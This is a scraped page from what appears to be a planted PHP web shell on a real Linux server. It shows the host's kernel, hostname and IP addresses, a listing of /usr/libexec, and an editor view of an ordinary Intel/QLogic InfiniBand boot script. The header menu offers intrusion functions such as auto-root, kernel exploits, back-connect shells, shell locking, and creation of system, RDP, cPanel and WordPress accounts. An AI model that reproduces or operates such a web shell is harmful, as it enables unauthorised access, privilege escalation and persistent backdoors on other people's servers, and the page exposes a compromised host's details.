Linux server.flyproject.com.br 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Apache
: 207.244.227.86 | : 216.73.217.1
10 Domain
7.1.33
hubnog
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
[ HOME SHELL ]
Name
Size
Permission
Action
anaconda
[ DIR ]
drwxr-xr-x
awk
[ DIR ]
drwxr-xr-x
bluetooth
[ DIR ]
drwxr-xr-x
certmonger
[ DIR ]
drwxr-xr-x
coreutils
[ DIR ]
drwxr-xr-x
dbus-1
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
evolution-data-server
[ DIR ]
drwxr-xr-x
fcoe
[ DIR ]
drwxr-xr-x
file-roller
[ DIR ]
drwxr-xr-x
fwupd
[ DIR ]
drwxr-xr-x
fwupdate
[ DIR ]
drwxr-xr-x
gcc
[ DIR ]
drwxr-xr-x
gedit
[ DIR ]
drwxr-xr-x
getconf
[ DIR ]
drwxr-xr-x
git-core
[ DIR ]
drwxr-xr-x
gnome-system-monitor
[ DIR ]
drwxr-xr-x
grubby
[ DIR ]
drwxr-xr-x
gstreamer-0.10
[ DIR ]
drwxr-xr-x
gstreamer-1.0
[ DIR ]
drwxr-xr-x
hypervkvpd
[ DIR ]
drwxr-xr-x
initial-setup
[ DIR ]
drwxr-xr-x
initscripts
[ DIR ]
drwxr-xr-x
ipsec
[ DIR ]
drwxr-xr-x
libinput
[ DIR ]
drwxr-xr-x
linux-boot-probes
[ DIR ]
drwxr-xr-x
lsm.d
[ DIR ]
drwxr-xr-x
man-db
[ DIR ]
drwxr-xr-x
microcode_ctl
[ DIR ]
drwxr-xr-x
oddjob
[ DIR ]
drwxr-xr-x
openldap
[ DIR ]
drwxr-xr-x
openssh
[ DIR ]
drwxr-xr-x
os-probes
[ DIR ]
drwxr-xr-x
p11-kit
[ DIR ]
drwxr-xr-x
plymouth
[ DIR ]
drwxr-xr-x
proftpd
[ DIR ]
drwxr-xr-x
psacct
[ DIR ]
drwxr-xr-x
pulse
[ DIR ]
drwxr-xr-x
samba
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
smartmontools
[ DIR ]
drwxr-xr-x
spice-gtk-x86_64
[ DIR ]
drwxr-xr-x
sssd
[ DIR ]
drwxr-xr-x
sudo
[ DIR ]
drwxr-xr-x
systemtap
[ DIR ]
drwxr-xr-x
tuned
[ DIR ]
drwxr-xr-x
udisks2
[ DIR ]
drwxr-xr-x
utempter
[ DIR ]
drwxr-xr-x
webkit2gtk-4.0
[ DIR ]
drwxr-xr-x
webkitgtk3
[ DIR ]
drwxr-xr-x
abrt-action-generate-machine-i...
5.69
KB
-rwxr-xr-x
abrt-action-install-debuginfo-...
14.98
KB
-rwsr-sr-x
abrt-action-ureport
5.7
KB
-rwxr-xr-x
abrt-gdb-exploitable
27.43
KB
-rwxr-xr-x
abrt-handle-event
15.01
KB
-rwxr-xr-x
abrt-hook-ccpp
31.14
KB
-rwxr-xr-x
accounts-daemon
171.16
KB
-rwxr-xr-x
at-spi-bus-launcher
23.97
KB
-rwxr-xr-x
at-spi2-registryd
89.33
KB
-rwxr-xr-x
boltd
263.39
KB
-rwxr-xr-x
camel-gpg-photo-saver
11.43
KB
-rwxr-xr-x
camel-index-control-1.2
11.29
KB
-rwxr-xr-x
camel-lock-helper-1.2
15.41
KB
-rwxr-xr-x
cc-remote-login-helper
11.11
KB
-rwxr-xr-x
chrony-helper
6.37
KB
-rwxr-xr-x
colord
329.13
KB
-rwxr-xr-x
colord-session
57.31
KB
-rwxr-xr-x
copy_jdk_configs.lua
9.37
KB
-rw-r--r--
copy_jdk_configs_fixFiles.sh
7.17
KB
-rwxrwxr-x
cups-pk-helper-mechanism
123.97
KB
-rwxr-xr-x
dconf-service
83.03
KB
-rwxr-xr-x
dleyna-server-service
11.13
KB
-rwxr-xr-x
ebtables
1.66
KB
-rwxr-xr-x
empathy-auth-client
28.01
KB
-rwxr-xr-x
empathy-call
187
KB
-rwxr-xr-x
empathy-chat
104.3
KB
-rwxr-xr-x
evinced
40.96
KB
-rwxr-xr-x
evolution-addressbook-factory
11.41
KB
-rwxr-xr-x
evolution-addressbook-factory-...
15.68
KB
-rwxr-xr-x
evolution-calendar-factory
11.41
KB
-rwxr-xr-x
evolution-calendar-factory-sub...
15.68
KB
-rwxr-xr-x
evolution-scan-gconf-tree-xml
52.88
KB
-rwxr-xr-x
evolution-source-registry
114.1
KB
-rwxr-xr-x
evolution-user-prompter
15.56
KB
-rwxr-xr-x
exim.daemon
758
B
-rwxr-xr-x
flatpak-bwrap
52.53
KB
-rwsr-xr-x
flatpak-dbus-proxy
44.97
KB
-rwxr-xr-x
flatpak-portal
91.18
KB
-rwxr-xr-x
flatpak-session-helper
663.18
KB
-rwxr-xr-x
flatpak-system-helper
675.24
KB
-rwxr-xr-x
fprintd
45.24
KB
-rwxr-xr-x
gcm-helper-exiv
19.73
KB
-rwxr-xr-x
gconf-defaults-mechanism
32.64
KB
-rwxr-xr-x
gconfd-2
48.7
KB
-rwxr-xr-x
gcr-prompter
11.4
KB
-rwxr-xr-x
gcr-ssh-askpass
44.38
KB
-rwxr-xr-x
gdm-disable-wayland
11.08
KB
-rwxr-xr-x
gdm-host-chooser
43.77
KB
-rwxr-xr-x
gdm-session-worker
274.13
KB
-rwxr-xr-x
gdm-simple-chooser
47.88
KB
-rwxr-xr-x
gdm-wayland-session
64.63
KB
-rwxr-xr-x
gdm-x-session
80.96
KB
-rwxr-xr-x
generate-rndc-key.sh
546
B
-rwxr-xr-x
geoclue
269.93
KB
-rwxr-xr-x
glib-pacrunner
15.73
KB
-rwxr-xr-x
gnome-boxes-search-provider
128.76
KB
-rwxr-xr-x
gnome-calculator-search-provid...
28.14
KB
-rwxr-xr-x
gnome-contacts-search-provider
181.12
KB
-rwxr-xr-x
gnome-control-center-search-pr...
49.56
KB
-rwxr-xr-x
gnome-initial-setup
936.95
KB
-rwxr-xr-x
gnome-initial-setup-copy-worke...
11.2
KB
-rwxr-xr-x
gnome-rr-debug
11.38
KB
-rwxr-xr-x
gnome-session-binary
291.61
KB
-rwxr-xr-x
gnome-session-check-accelerate...
11.33
KB
-rwxr-xr-x
gnome-session-check-accelerate...
15.44
KB
-rwxr-xr-x
gnome-session-check-accelerate...
11.31
KB
-rwxr-xr-x
gnome-session-failed
19.8
KB
-rwxr-xr-x
gnome-shell-calendar-server
36.76
KB
-rwxr-xr-x
gnome-shell-hotplug-sniffer
28.16
KB
-rwxr-xr-x
gnome-shell-perf-helper
15.76
KB
-rwxr-xr-x
gnome-shell-portal-helper
2.06
MB
-rwxr-xr-x
gnome-software-cmd
261.79
KB
-rwxr-xr-x
gnome-software-restarter
11.18
KB
-rwxr-xr-x
gnome-terminal-migration
40.66
KB
-rwxr-xr-x
gnome-terminal-server
345.11
KB
-rwxr-xr-x
gnome-tweak-tool-lid-inhibitor
1.51
KB
-rwxr-xr-x
gnome-welcome-tour
440
B
-rwxr-xr-x
gnupg-pcsc-wrapper
19.3
KB
-rwxr-xr-x
goa-daemon
45.23
KB
-rwxr-xr-x
goa-identity-service
141.66
KB
-rwxr-xr-x
gpg-check-pattern
102.95
KB
-rwxr-xr-x
gpg-preset-passphrase
86.39
KB
-rwxr-xr-x
gpg-protect-tool
185.57
KB
-rwxr-xr-x
gpg2keys_curl
44.81
KB
-rwxr-xr-x
gpg2keys_finger
61.34
KB
-rwxr-xr-x
gpg2keys_hkp
53
KB
-rwxr-xr-x
gpg2keys_ldap
61.02
KB
-rwxr-xr-x
grepconf.sh
253
B
-rwxr-xr-x
gsd-a11y-settings
15.85
KB
-rwxr-xr-x
gsd-account
99.5
KB
-rwxr-xr-x
gsd-backlight-helper
11.3
KB
-rwxr-xr-x
gsd-clipboard
28.41
KB
-rwxr-xr-x
gsd-color
79.23
KB
-rwxr-xr-x
gsd-datetime
62.84
KB
-rwxr-xr-x
gsd-disk-utility-notify
15.72
KB
-rwxr-xr-x
gsd-dummy
15.87
KB
-rwxr-xr-x
gsd-housekeeping
45.71
KB
-rwxr-xr-x
gsd-keyboard
28.59
KB
-rwxr-xr-x
gsd-locate-pointer
32.41
KB
-rwxr-xr-x
gsd-media-keys
211.83
KB
-rwxr-xr-x
gsd-mouse
20.13
KB
-rwxr-xr-x
gsd-power
91.17
KB
-rwxr-xr-x
gsd-print-notifications
40.91
KB
-rwxr-xr-x
gsd-printer
27.86
KB
-rwxr-xr-x
gsd-rfkill
41.13
KB
-rwxr-xr-x
gsd-screensaver-proxy
24.08
KB
-rwxr-xr-x
gsd-sharing
28.5
KB
-rwxr-xr-x
gsd-smartcard
95.89
KB
-rwxr-xr-x
gsd-sound
20.2
KB
-rwxr-xr-x
gsd-wacom
62.37
KB
-rwxr-xr-x
gsd-wacom-led-helper
11.27
KB
-rwxr-xr-x
gsd-wacom-oled-helper
15.33
KB
-rwxr-xr-x
gsd-xsettings
59.34
KB
-rwxr-xr-x
gst-install-plugins-helper
19.68
KB
-rwxr-xr-x
gvfs-afc-volume-monitor
90.86
KB
-rwxr-xr-x
gvfs-goa-volume-monitor
95.33
KB
-rwxr-xr-x
gvfs-gphoto2-volume-monitor
95.09
KB
-rwxr-xr-x
gvfs-mtp-volume-monitor
90.95
KB
-rwxr-xr-x
gvfs-udisks2-volume-monitor
171.29
KB
-rwxr-xr-x
gvfsd
32.57
KB
-rwxr-xr-x
gvfsd-admin
36.86
KB
-rwxr-xr-x
gvfsd-afc
61.3
KB
-rwxr-xr-x
gvfsd-afp
127.95
KB
-rwxr-xr-x
gvfsd-afp-browse
107.2
KB
-rwxr-xr-x
gvfsd-archive
32.65
KB
-rwxr-xr-x
gvfsd-burn
32.46
KB
-rwxr-xr-x
gvfsd-cdda
32.48
KB
-rwxr-xr-x
gvfsd-computer
41.01
KB
-rwxr-xr-x
gvfsd-dav
99.82
KB
-rwxr-xr-x
gvfsd-dnssd
32.58
KB
-rwxr-xr-x
gvfsd-ftp
94.51
KB
-rwxr-xr-x
gvfsd-fuse
41.08
KB
-rwxr-xr-x
gvfsd-google
65.78
KB
-rwxr-xr-x
gvfsd-gphoto2
65.6
KB
-rwxr-xr-x
gvfsd-http
40.98
KB
-rwxr-xr-x
gvfsd-localtest
44.63
KB
-rwxr-xr-x
gvfsd-metadata
78.63
KB
-rwxr-xr-x
gvfsd-mtp
69.56
KB
-rwxr-xr-x
gvfsd-network
32.63
KB
-rwxr-xr-x
gvfsd-recent
32.56
KB
-rwxr-xr-x
gvfsd-sftp
99.01
KB
-rwxr-xr-x
gvfsd-smb
48.93
KB
-rwxr-xr-x
gvfsd-smb-browse
65.65
KB
-rwxr-xr-x
gvfsd-trash
49.48
KB
-rwxr-xr-x
ibus-dconf
19.75
KB
-rwxr-xr-x
ibus-engine-chewing
97.91
KB
-rwxr-xr-x
ibus-engine-hangul
32.59
KB
-rwxr-xr-x
ibus-engine-kkc
62.29
KB
-rwxr-xr-x
ibus-engine-libpinyin
204.85
KB
-rwxr-xr-x
ibus-engine-m17n
36.52
KB
-rwxr-xr-x
ibus-engine-rawcode
19.75
KB
-rwxr-xr-x
ibus-engine-sayura
16.55
KB
-rwxr-xr-x
ibus-engine-simple
11.47
KB
-rwxr-xr-x
ibus-engine-table
1.4
KB
-rwxr-xr-x
ibus-portal
78.53
KB
-rwxr-xr-x
ibus-setup-hangul
902
B
-rwxr-xr-x
ibus-setup-kkc
82.04
KB
-rwxr-xr-x
ibus-setup-libpinyin
1.04
KB
-rwxr-xr-x
ibus-setup-m17n
28.23
KB
-rwxr-xr-x
ibus-ui-emojier
103.55
KB
-rwxr-xr-x
ibus-ui-gtk3
278.48
KB
-rwxr-xr-x
ibus-x11
93.1
KB
-rwxr-xr-x
imsettings-check
15.3
KB
-rwxr-xr-x
imsettings-daemon
57.24
KB
-rwxr-xr-x
imsettings-functions
6.71
KB
-rwxr-xr-x
imsettings-target-checker.sh
2.82
KB
-rwxr-xr-x
iscsi-mark-root-nodes
852
B
-rwxr-xr-x
ksmctl
7.11
KB
-rwxr-xr-x
libvirt_iohelper
410.68
KB
-rwxr-xr-x
libvirt_leaseshelper
414.67
KB
-rwxr-xr-x
libvirt_parthelper
414.67
KB
-rwxr-xr-x
mbim-proxy
15.21
KB
-rwxr-xr-x
mission-control-5
374.55
KB
-rwxr-xr-x
mlx4-setup.sh
2.48
KB
-rwxr-xr-x
mutter-restart-helper
11.08
KB
-rwxr-xr-x
netcf-transaction.sh
7.21
KB
-rwxr-xr-x
newns
7.03
KB
-rwxr-xr-x
nm-dhcp-helper
15.12
KB
-rwxr-xr-x
nm-dispatcher
47.7
KB
-rwxr-xr-x
nm-iface-helper
839.36
KB
-rwxr-xr-x
nm-ifdown
155
B
-rwxr-xr-x
nm-ifup
153
B
-rwxr-xr-x
nm-libreswan-auth-dialog
19.7
KB
-rwxr-xr-x
nm-libreswan-service
70.81
KB
-rwxr-xr-x
nm-libreswan-service-helper
36.78
KB
-rwxr-xr-x
ntpdate-wrapper
806
B
-rwxr-xr-x
packagekit-direct
99.72
KB
-rwxr-xr-x
packagekitd
293.48
KB
-rwxr-xr-x
pk-command-not-found
40.55
KB
-rwxr-xr-x
pk-gstreamer-install
19.68
KB
-rwxr-xr-x
pk-offline-update
32.16
KB
-rwxr-xr-x
platform-python
6.98
KB
-rwxr-xr-x
qemu-bridge-helper
15
KB
-rwsr-xr-x
qemu-kvm
5.02
MB
-rwxr-xr-x
qmi-proxy
11.24
KB
-rwxr-xr-x
rdma-init-kernel
5.59
KB
-rwxr-xr-x
rdma-set-sriov-vf
3.05
KB
-rwxr-xr-x
rtkit-daemon
59.64
KB
-rwxr-xr-x
sushi-start
15.5
KB
-rwxr-xr-x
telepathy-gabble
1
MB
-rwxr-xr-x
telepathy-haze
199.66
KB
-rwxr-xr-x
telepathy-logger
11.27
KB
-rwxr-xr-x
telepathy-salut
583.88
KB
-rwxr-xr-x
totem-gallery-thumbnailer
32.24
KB
-rwxr-xr-x
tracker-extract
91.48
KB
-rwxr-xr-x
tracker-miner-apps
32.4
KB
-rwxr-xr-x
tracker-miner-fs
127.7
KB
-rwxr-xr-x
tracker-miner-user-guides
28.46
KB
-rwxr-xr-x
tracker-store
139.55
KB
-rwxr-xr-x
tracker-writeback
41.11
KB
-rwxr-xr-x
truescale-serdes.cmds
8.5
KB
-rwxr-xr-x
upowerd
247.37
KB
-rwxr-xr-x
urlgrabber-ext-down
2.54
KB
-rwxr-xr-x
vino-server
281.09
KB
-rwxr-xr-x
virt-what-cpuid-helper
7.02
KB
-rwxr-xr-x
xdg-desktop-portal
557.36
KB
-rwxr-xr-x
xdg-desktop-portal-gtk
567.41
KB
-rwxr-xr-x
xdg-document-portal
174.6
KB
-rwxr-xr-x
xdg-permission-store
95.98
KB
-rwxr-xr-x
xf86-video-intel-backlight-hel...
7.13
KB
-rwxr-xr-x
xinputinfo.sh
3.74
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : truescale-serdes.cmds
#!/bin/bash # Copyright (c) 2013 Intel Corporation. All rights reserved. # Copyright (c) 2010 QLogic Corporation. # All rights reserved. # # This software is available to you under a choice of one of two # licenses. You may choose to be licensed under the terms of the GNU # General Public License (GPL) Version 2, available from the file # COPYING in the main directory of this source tree, or the # OpenIB.org BSD license below: # # Redistribution and use in source and binary forms, with or # without modification, are permitted provided that the following # conditions are met: # # - Redistributions of source code must retain the above # copyright notice, this list of conditions and the following # disclaimer. # # - Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials # provided with the distribution. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # This script does truescale (qib) adapter-specific actions, and is # sourced during boot after the ib_qib module is loaded. The stop # operation is deprecated. It isn't intended for standalone use. # base name in /sys/class PATH=/sbin:/bin:/usr/sbin:/usr/bin:$PATH export PATH qb=/sys/class/infiniband/qib serdes_parm=txselect if [ -r /etc/rdma/rdma.conf ]; then IB_CONFIG=/etc/rdma/rdma.conf else IB_CONFIG=/etc/infiniband/openib.conf fi if [ -f $IB_CONFIG ]; then . $IB_CONFIG fi # If user specifies an override or the setting is ommitted from the config file # then default to new back plane version. if [ -z $QIB_QME_BPVER ]; then QIB_QME_BPVER=1 fi warn_and_log() { echo "$0: $@" logger -t infinipath "$@" } setup_qmh() { local -i nunit=0 bay bl2xB=0 full=0 local parmf sysinfo bayinfo mez1bus mez2bus mez3bus=0 tbay local -a parm bay_h1 for parm in parameters/${serdes_parm} ${serdes_parm}; do if [ -e /sys/module/ib_qib/$parm ]; then parmf=/sys/module/ib_qib/$parm break; fi done if [ ! "$parmf" ]; then warn_and_log Unable to find ${serdes_parm} parameter return fi sysinfo="$(PATH=/sbin:/usr/sbin:$PATH; dmidecode -t system | \ sed -e '/^Handle/d' -e '/^[ \t]*$/d' -e 's/[ \t]*$//' )" if [ ! "$sysinfo" ]; then warn_and_log Unable to determine system type return fi bayinfo="$(PATH=/sbin:/usr/sbin:$PATH; dmidecode -t 204)" if [ ! "$bayinfo" ]; then warn_and_log Unable to determine bay return fi case "${bayinfo}" in *Server*Bay:*) tbay=$(PATH=/sbin:/usr/sbin:$PATH; dmidecode -t 204 | \ sed -n -e 's/[ \t]*$//' -e 's/[ \t]*Server Bay:[ \t]*//p') ;; *) tbay=$(PATH=/sbin:/usr/sbin:$PATH; dmidecode -t 204 | \ sed -n -e '1,/BladeSystem/d' -e 's/ *$//' -e 's/^\t\t*//' \ -e '/^[0-9][AB]*$/p' -e '/^[0-9][0-9][AB]*$/p') ;; esac read pbase < $parmf parm=($(echo ${qb}*)) nunit=${#parm[*]} # [0] is a dummy in these arrays, bay #'ing starts at 1 # H1 value, per bay (same for both ports) m1_bay_h1=(0 8 7 7 7 7 6 6 6 8 7 7 7 7 6 6 7) m2_bay_h1=(0 11 11 11 11 11 11 10 11 11 11 11 11 10 10 10 10) m3_bay_h1=(0 11 11 11 11 10 10 10 10) # tx serdes index per bay for mez1 (either port) mez1p1_idx=(0 2 2 17 17 17 1 1 1 2 1 17 17 16 2 18 16) # tx serdes setting for mez1 p2 (only used on full-height blades) mez1p2_idx=(0 4 4 3 3 3 2 4 4) # tx serdes index per bay for mez2 port 1 mez2p1_idx=(0 2 2 17 17 17 1 1 1 2 1 17 17 16 2 18 1) # tx serdes index per bay for mez2 port 2 mez2p2_idx=(0 2 2 19 1 1 1 1 1 2 1 18 17 1 19 1 1) # tx serdes index per bay for mez3 port 1 (mez3 only on full-height blades) mez3p1_idx=(0 2 1 18 17 1 19 1 1) # tx serdes index per bay for mez3 port 2 (mez3 only on full-height blades) mez3p2_idx=(0 2 1 17 17 16 2 18 1) case "${sysinfo}" in *BL280[cC]*) mez1bus=3 mez2bus=6 bay=$tbay ;; # both nodes on the 2x220 blade have bus 3, only one mez, but # they connect to different switches through different paths # so A and B have different parameters. They connect to # the switch as if they were the mez2 on other blade types, # with port 1 on mez2 for A node and port 2 on mez2 # for the B node *BL2x220[cC]*) mez1bus=3 mez2bus=3 bay=${tbay%[AB]} case "${tbay}" in *A) bl2xB=${mez2p1_idx[$bay]} ;; *B) bl2xB=${mez2p2_idx[$bay]} ;; esac ;; *BL460[cC]*) mez1bus=6 mez2bus=9 bay=$tbay ;; *BL465[cC]*) mez1bus=5 mez2bus=8 bay=$tbay ;; *BL490[cC]*) mez1bus=6 mez2bus=7 bay=$tbay ;; *BL685[cC]*) mez1bus=41 mez2bus=6 mez3bus=44 full=1 bay=$(($tbay % 9)) ;; *) warn_and_log Unknown blade type "$sysinfo" return ;; esac # mez1 only has port1 connected, mez2, mez3 can have both ports # If only one card, and two mez possible, we have to figure out which # mez we are plugged into. # On RHEL4U8, we look in the driver subdir, all others # in the device/driver subdir for the pcie bus. pciprefix="[0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F]:" if [ ${bl2xB} -ne 0 ]; then pbase="${pbase} 0,1=${bl2xB},${m2_bay_h1[$bay]}" else while [ $nunit -ne 0 ]; do (( nunit-- )) buspath=$(readlink -m ${qb}${nunit}/device) if [ -n "$(echo ${buspath} | grep "${pciprefix}$(printf "%02d" ${mez1bus}):")" ]; then pbase="${pbase} ${nunit},1=${mez1p1_idx[$bay]},${m1_bay_h1[$bay]}" if [ ${full} -eq 1 ]; then pbase="${pbase} ${nunit},2=${mez1p2_idx[$bay]},${m1_bay_h1[$bay]}" fi elif [ -n "$(echo ${buspath} | grep "${pciprefix}$(printf "%02d" ${mez2bus}):")" ]; then pbase="${pbase} ${nunit},1=${mez2p1_idx[$bay]},${m2_bay_h1[$bay]}" pbase="${pbase} ${nunit},2=${mez2p2_idx[$bay]},${m2_bay_h1[$bay]}" elif [ -n "$(echo ${buspath} | grep "${pciprefix}$(printf "%02d" ${mez3bus}):")" ]; then pbase="${pbase} ${nunit},1=${mez3p1_idx[$bay]},${m3_bay_h1[$bay]}" pbase="${pbase} ${nunit},2=${mez3p2_idx[$bay]},${m3_bay_h1[$bay]}" else warn_and_log Mismatch on mezbus ${mez1_bus},${mez2_bus},${mez3_bus} \ and unit ${nunit}, no serdes setup fi done fi echo -n ${pbase} > $parmf } setup_qme() { local parm parmf sn pbase local -i nunit=0 bay idx bpver=${QIB_QME_BPVER:1} local -a bp0_idx bp1_idx set # tx settings for Dell Backplane v1.0 bp0_idx=( 0 22 23 24 25 26 24 27 28 22 23 24 25 26 24 27 28 ) # tx settings for Dell Backplane v1.1 bp1_idx=( 0 29 29 30 31 32 33 30 29 29 29 30 31 32 33 30 29 ) for parm in parameters/${serdes_parm} ${serdes_parm}; do if [ -e /sys/module/ib_qib/$parm ]; then parmf=/sys/module/ib_qib/$parm break; fi done if [ ! "$parmf" ]; then warn_and_log Unable to find ${serdes_parm} parameter return fi read pbase < $parmf parm=( $(echo ${qb}*) ) nunit=${#parm[*]} if [ -e /sys/module/ib_qib/parameters/qme_bp ]; then read bpver < /sys/module/ib_qib/parameters/qme_bp if [ ${bpver} -ne 0 -a ${bpver} -ne 1 ]; then warn_and_log "Invalid Dell backplane version (${bpver}). Defaulting to 1." bpver=1 fi fi eval 'set=( ${bp'${bpver}'_idx[@]} )' # we get two serial numbers normally, use 2nd if present, else first sn="$(dmidecode -t 2 | grep -i serial | tail -1)" case ${sn} in *[sS]erial\ [nN]umber*) bay="$(echo $sn | sed -e 's/\.$//' -e 's/.*\.0*//' -e 's/[abcd]$//')" if [ ${bay} -gt ${#set[@]} ]; then warn_and_log Unexpected QME7342 bay info: ${sn}, no Tx params return fi idx=${set[bay]} # H1 is same for all QME bays, so no need to specify. while [ $nunit -ne 0 ]; do (( nunit-- )) pbase="${pbase} ${nunit},1=${idx} ${nunit},2=${idx}" done echo -n ${pbase} > $parmf ;; *) warn_and_log No QME7342 bay information, no Tx params return;; esac } has_qib=$(lspci -n 2>/dev/null | grep -i "1077\|1fc1") if [ ! "${has_qib}" ]; then exit 0 fi case "$1" in start) has_qmh7342=$(grep QMH7342 ${qb}*/hca_type 2>/dev/null) if [ "${has_qmh7342}" ]; then setup_qmh else has_qme7342=$(grep QME7342 ${qb}*/hca_type 2>/dev/null) if [ "${has_qme7342}" ]; then setup_qme fi fi ;; stop) warn_and_log stop operation deprecated ;; esac
Close